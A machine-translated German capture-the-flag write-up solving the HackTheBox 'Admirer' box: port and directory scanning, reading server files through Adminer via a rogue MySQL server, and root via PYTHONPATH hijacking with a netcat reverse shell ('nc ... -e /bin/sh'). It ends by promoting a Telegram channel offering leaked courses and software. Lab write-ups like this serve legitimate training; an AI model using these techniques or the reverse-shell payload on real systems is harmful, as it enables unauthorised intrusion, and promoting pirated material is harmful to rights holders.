
Ich veröffentliche weiterhin Lösungen, die zur Finalisierung von Maschinen von der HackTheBox- Site gesendet wurden .
In diesem Artikel scannen wir viel, nutzen RCE in Admirer und ändern die Umgebungsvariable, um unseren Python-Code auszuführen.
Die Verbindung zum Labor erfolgt über VPN. Es wird empfohlen, keine Verbindung von einem Arbeitscomputer oder einem Host herzustellen, auf dem wichtige Daten für Sie vorhanden sind, da Sie sich in einem privaten Netzwerk mit Personen befinden, die etwas über Informationssicherheit wissen.
Organisationsinformationen
Aufklärung
Dieser Computer hat eine IP-Adresse vom 10.10.10.189, die ich zu / etc / hosts hinzufüge.
10.10.10.187 admirer.htb
Der erste Schritt ist das Scannen offener Ports. Da das Scannen aller Ports mit nmap sehr lange dauert, werde ich dies zunächst mit masscan tun. Wir scannen alle TCP- und UDP-Ports von der tun0-Schnittstelle mit 500 Paketen pro Sekunde.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.187 --rate=500
Führen Sie jetzt einen Scan mit der Option -A aus, um detailliertere Informationen zu den Diensten zu erhalten, die an den Ports ausgeführt werden.
nmap -A admirer.htb -p80,22,21
Wählen Sie unseren nächsten Schritt aus dem Ergebnis des nmap-Scans. Der Server verfügt also über FTP- und SSH-Dienste, für die jedoch Anmeldeinformationen erforderlich sind. Es gibt auch einen Apache-Webserver mit einer robots.txt-Datei. Diese Datei enthält nur einen Eintrag - das Verzeichnis admin-dir. Da keine weiteren Informationen bereitgestellt werden, besteht unser nächster Schritt darin, die Verzeichnisse zu scannen. Dafür verwenden wir einen schnellen Gobuster. In den Parametern geben wir an, dass wir Verzeichnisse scannen möchten (dir), wir geben die Site (-u), die Liste der Wörter (-w), die Erweiterungen, an denen wir interessiert sind (-x), die Anzahl der Threads (-t) an.
gobuster dir -t 128 -u http://admirer.htb/admin-dir/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php,txt
Und wir finden zwei Dateien, die erste enthält die E-Mail-Adressen und die zweite enthält verschiedene Anmeldeinformationen.
Und unter den Anmeldeinformationen finden wir die Anmeldeinformationen für FTP. Und wir verbinden uns erfolgreich.
Schauen wir uns auf dem Server um.
Lassen Sie uns alle Dateien herunterladen.
Es besteht der Verdacht, dass dieses Archiv eine Sicherung der Site ist. Entpacken wir es und sehen, was darin enthalten ist.
mkdir HTML
mv html.tar.gz HTML/
cd HTML
tar -xf html.tar.gz
Wieder gibt es eine robots.txt-Datei und eine Art geheimes Verzeichnis, das dieselben Dateien contacts.txt und credentials.txt enthält.
Die erste Datei unterscheidet sich nicht von der vorhandenen, aber unter den Anmeldeinformationen befinden sich diejenigen, die wir nicht haben.
Nachdem wir versucht haben, sie zu benutzen, kommen wir nicht weiter. Lassen Sie uns nach dem Benutzer suchen und Zeilen in allen heruntergeladenen Dateien übergeben.
grep -R -i "user\|pass" ./
Und wir finden zwei weitere Passwörter für denselben Benutzer. Ich habe alle verfügbaren Anmeldeinformationen gesammelt.
Aber sie kamen auch nirgendwo hin.
Einstiegspunkt
Wenn Sie versuchen, ungelöste Aufgaben auf der Website auszuführen, erhalten wir eine Ablehnung.
Da sich alle ausführbaren Dateien im Verzeichnis der Dienstprogramm-Skripte befinden, scannen wir sie auf dem Host und suchen nach PHP-Dateien.
gobuster dir -t 128 -u http://admirer.htb/utility-scripts/ -w /usr/share/seclists/Discovery/Web-Content/raft-large-directories-lowercase.txt -x php
Und wir finden die Datei bewunderner.php.
Nach der Suche nach Informationen wurde aus den folgenden Quellen klar, wie man RCE bekommt. Wenn Sie Ihren Host als Server angeben, wird ein Verbindungsversuch angezeigt.
Starten wir den myqsl-Dienst auf dem lokalen Host.
sudo service mysql start
sudo mysql -u root
Und wir werden einen Benutzer für die Autorisierung erstellen.
create user ralfadmirer@'%' identified by 'ralfadmirer'
create database admirerdb;
grant all privileges on admirerdb.* to 'ralfadmirer';
Ändern wir nun die Konfigurationsdatei /etc/mysql/mariadb.conf.d/50-server.cnf, damit jeder eine Verbindung zu unserem Host herstellen kann. Kommentieren Sie dazu die Bindungsadresszeile aus und starten Sie den Dienst neu.
sudo service mysql restart
Wir melden uns im Namen des neu erstellten Benutzers an.
NUTZER
Wählen wir unsere DB aus.
Als nächstes erstellen wir eine Tabelle.
Und wir werden eine SQL-Abfrage ausführen, um die Datei index.php zu lesen, in der wir die Anmeldeinformationen finden können (wie in der Sicherung).
load data local infile '../index.php'
into table admirerdb.admirertable
fields terminated by '\n'
Fahren wir nun mit unserer erstellten Tabelle fort.
Und wir werden die Anmeldeinformationen finden.
Und mit diesem Passwort melden wir uns erfolgreich über SSH an.
WURZEL
Lassen Sie uns unsere Sudo-Einstellungen überprüfen.
Somit können wir dieses Skript als Superuser ausführen. Wenn wir uns dieses Skript ansehen, finden wir die Ausführung des Python-Skripts, das auch unter sudo ausgeführt wird.
Im Skript selbst wird ein impliziter Import angegeben.
Schauen wir uns die Umgebungsvariablen an, wir interessieren uns für Python-Pfade.
Auf diese Weise können wir eine Datei mit demselben Namen erstellen, die dieselbe Funktion enthält, aber unterschiedliche Aktionen ausführt. Wenn Sie diese Umgebungsvariable ändern, führen Sie das Programm aus, das zur Ausführung unserer Datei führt.
def make_archive():
import os
os.system('nc 10.10.15.110 4321 -e "/bin/sh"')
make_archive()
Lassen Sie uns das Skript ausführen.
sudo PYTHONPATH='/tmp/' /opt/scripts/admin_tasks.sh
Und wir bekommen eine Backconnect-Shell.
Wir haben die volle Kontrolle über diese Maschine.
Sie können sich uns per Telegramm anschließen . Dort finden Sie interessante Materialien, durchgesickerte Kurse und Software. Lassen Sie uns eine Community zusammenstellen, in der es Menschen geben wird, die sich in vielen Bereichen der IT auskennen. Dann können wir uns in Fragen der IT und der Informationssicherheit immer gegenseitig helfen.